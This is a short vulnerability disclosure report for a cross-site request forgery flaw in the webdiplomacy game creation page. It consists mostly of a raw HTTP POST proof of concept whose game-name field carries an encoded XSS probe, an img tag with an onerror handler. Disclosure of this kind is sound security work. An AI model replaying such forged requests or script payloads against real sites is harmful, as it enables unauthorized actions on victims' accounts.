Cross-Site Request Forgery (CSRF) in kestasjk/webdiplomacy

Valid

Reported on

Jul 23rd 2021

✍️ Description

CSRF bug when creating game

🕵️‍♂️ Proof of Concept

no csrf token checking during gamecreate .
Bellow request is vulnerable to csrf attack

POST /gamecreate.php HTTP/1.1
Host: webdiplomacy.net
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 521
Origin: https://webdiplomacy.net
Connection: close
Referer: https://webdiplomacy.net/gamecreate.php
Cookie: 
Upgrade-Insecure-Requests: 1

newGame%5Bname%5D=test-game%22%27%27%3E%3Cimg+src%3Dx+onerror%3Dalert%28%29%3E&newGame%5Bbet%5D=5&newGame%5BphaseMinutes%5D=1440&newGame%5BphaseSwitchPeriod%5D=-1&newGame%5BnextPhaseMinutes%5D=1440&newGame%5BjoinPeriod%5D=10080&newGame%5BpressType%5D=Regular&newGame%5BvariantID%5D=1&newGame%5BpotType%5D=Winner-takes-all&newGame%5Banon%5D=No&newGame%5BdrawType%5D=draw-votes-public&newGame%5BminimumReliabilityRating%5D=0&newGame%5BexcusedMissedTurns%5D=1&newGame%5Bpassword%5D=testtt&newGame%5Bpasswordcheck%5D=testtt